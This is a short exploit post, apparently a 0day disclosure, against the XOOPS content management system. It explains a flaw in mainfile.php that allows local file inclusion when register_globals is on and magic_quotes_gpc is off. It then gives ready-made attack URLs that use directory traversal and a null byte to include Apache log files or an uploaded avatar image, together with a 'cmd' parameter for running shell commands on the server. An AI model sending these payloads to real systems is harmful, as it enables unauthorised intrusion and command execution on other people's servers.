/* hi, back from my annual social engineering tour, this year in Milan ;)
|

welcome to this new 0day experience...

explaination:

|
|
vulnerable code in mainfile.php at lines 94-96:
|
|
...
|
|
if (!isset($xoopsOption['nocommon']) && XOOPS_ROOT_PATH != '') {
|
|
include XOOPS_ROOT_PATH."/include/common.php";
|
|
}
|
|
...
|
|
|
|
if register_globals = On you can overwrite $xoopsOption['nocommon'] var, to
|
|
skip common.php inclusion where $xoopsConfig['language'] and
|
|
$xoopsConfig['theme_set] are initialized, so, if magic_quotes_gpc=Off
|
|
you can include arbitrary files from local resources, ex., Apache log files:
|
|
|
|
http://[target]/[path]/misc.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[language]=../../../../../../../../../../var/log/httpd/access_log%00
|
|
http://[target]/[path]/index.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[theme_set]=../../../../../../../../../../var/log/httpd/error_log%00
|
|
|
|
or, if avatar uploads are enabled:
|
|
|
|
http://[target]/xoops/html/index.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[theme_set]=../uploads/cavt44703c30d3dbf.jpg%00
